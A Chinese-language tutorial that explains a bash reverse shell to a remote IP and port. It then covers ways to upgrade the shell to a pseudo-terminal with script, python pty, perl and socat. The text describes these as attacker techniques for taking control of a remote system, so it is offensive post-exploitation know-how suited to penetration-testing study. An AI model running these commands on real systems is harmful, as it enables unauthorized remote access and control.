解决问题:怎么利用获取交互式shell?原理是什么?
bash获得反向Shell
bash -i >& /dev/tcp/192.168.2.134/4444 0>&1
解释每个部分:
- bash: 启动一个Bash shell。
- -i: 以交互式模式运行,这样用户可以与shell进行交互。
&: 将标准输出(文件描述符1)和标准错误输出(文件描述符2)合并。
- /dev/tcp/192.168.2.134/4444: 这是一个特殊的构造,它试图打开一个TCP连接到指定的IP地址(192.168.2.134)和端口号(4444)。在这里,/dev/tcp是一个特殊的文件系统,Bash试图将其解释为一个网络套接字。如果这个连接成功建立,那么接下来的输入输出将与这个套接字相关联。
- 0>&1: 将标准输入(文件描述符0)重定向到标准输出。这意味着用户输入将被发送到网络连接,而不是终端。
这个命令的目的是在远程主机(192.168.2.134)的4444端口上启动一个Bash shell,并将输入和输出通过网络连接。这种技术通常用于建立一个反向Shell,这样攻击者就可以通过该连接执行命令,并获得远程系统的控制权。
man bas获得bash的帮助手册。
网络套接字Socket
网络套接字是一种网络编程的抽象,用于在计算机网络上进行通信。套接字(Socket)是一种通信机制,它允许在不同计算机之间的进程进行数据交换。在Linux和类Unix系统中,套接字通常以文件描述符的形式存在。
在这个特定的Bash命令中,/dev/tcp/192.168.2.134/4444的部分是一个尝试使用Bash的特殊文件系统来打开一个TCP套接字。在Bash中,/dev/tcp和/dev/udp是一种特殊的文件系统,允许将I/O操作重定向到实际的网络套接字。
当使用 >& 将标准输出和标准错误输出合并时,命令的输入输出将被定向到这个套接字。0>&1 将标准输入重定向到标准输出,这样用户输入将通过网络连接发送,而不是终端。因此,通过这个网络连接,可以在远程主机上执行Bash shell,并将输入输出通过网络传输。
总体而言,这种技术通常被称为反向Shell,因为它是一个由目标系统启动并与攻击者的系统建立连接的Shell。
标准输出>&
在Unix-like系统中,每个运行的进程都有三个标准文件描述符:
- 标准输入(stdin,文件描述符0): 通常用于接收输入数据。默认情况下,它通常与终端关联。
- 标准输出(stdout,文件描述符1): 用于输出正常的运行信息。默认情况下,它通常与终端关联。
- 标准错误输出(stderr,文件描述符2): 用于输出错误信息。默认情况下,它通常与终端关联。
将标准输出和标准错误输出合并意味着将它们指向相同的地方,以便它们共享同一个输出目标。在Bash中,可以使用 **>&** 来实现这一点。
command > file 2>&1
上述命令将 标准输出 重定向到文件file,并将 标准错误输出 指向与 标准输出 相同的地方(这里是文件 file)。因此,标准输出和标准错误输出都被追加到同一个文件(file)中。
在你提到的Bash命令中:
bash -i >& /dev/tcp/192.168.2.134/4444 0>&1
这部分 >& /dev/tcp/192.168.2.134/4444
将 标准输出 和 标准错误输出 合并(>&),
并重定向到指定的TCP套接字(/dev/tcp/192.168.2.134/4444)。
而 0>&1 将 标准输入 重定向到标准输出,从而将用户的输入也发送到了同一个TCP套接字。这就实现了输入输出通过网络连接的目的,允许在远程主机上执行交互式Bash shell。
提示没有 tty
在某些情况下,当使用Bash通过网络连接获取交互式Shell时,可能会导致top等命令报告没有tty(终端)。
这是因为top等一些工具通常会检查当前进程是否与一个终端(tty)相关联,以决定如何以及何种方式显示信息。在这种情况下,由于Bash被用于通过网络连接进行交互,而不是通过终端,top可能会在检查tty时报告没有找到。
为了解决这个问题,可以使用script命令或script命令的变种,例如script /dev/null,来创建一个伪终端pty。这样,top等工具就会认为它们正在与一个终端进行交互,而不会报告没有tty的错误。
script获取pty
script /dev/null
这样,你可以欺骗top,使其认为它与一个终端相关联,从而解决这个问题。
让我逐步解释这个命令:
- script: 这是一个用于记录 shell 会话的命令。它会创建一个伪终端并将终端的输入和输出记录到指定的文件中(默认是typescript)。
- /dev/null:/dev/null 是一个特殊的设备文件,用于丢弃数据。在这里,它作为输出文件名传递给 script 命令,表示不实际记录到文件,而是将记录的输出直接丢弃。
所以,script /dev/null 的效果是创建一个伪终端,但将记录的输入和输出都丢弃,不会将其写入文件。这种用法通常用于欺骗某些程序,使它们认为正在与终端进行交互,从而绕过一些可能与非交互式 shell 有关的问题。
python获得pty
python -c 'import pty; pty.spawn("/bin/bash")'
这是一个使用Python来提升shell的交互性的命令。具体来说,这个命令使用pty模块来创建一个伪终端(pseudo terminal,pty),然后在该伪终端上启动一个交互式的Bash shell。
让我逐步解释这个命令:
- python: 启动Python解释器。
- -c ‘import pty; pty.spawn(“/bin/bash”)’: 在Python解释器中执行的命令。这段代码使用pty模块,其中的spawn函数会创建一个子进程,并将其连接到一个伪终端。然后,它在这个伪终端上启动了一个Bash shell (/bin/bash)。
这种技术通常被称为pty shell或伪终端shell,它可以提高交互性,允许诸如命令历史记录和自动补全等功能的正常工作。
Perl获得pty
perl -e 'exec "/bin/bash";'
这个命令使用 Perl 来执行 /bin/bash,可能会分配一个伪终端
socat获得pty
如果 socat 工具可用,可以使用它来创建一个连接到终端的伪终端:
socat file:`tty`,raw,echo=0 tcp-listen:4444
在这个例子中,socat会将连接的终端作为一个文件传递给 tty 命令,然后创建一个 TCP 监听器。你可以通过连接到这个监听器来获取一个伪终端。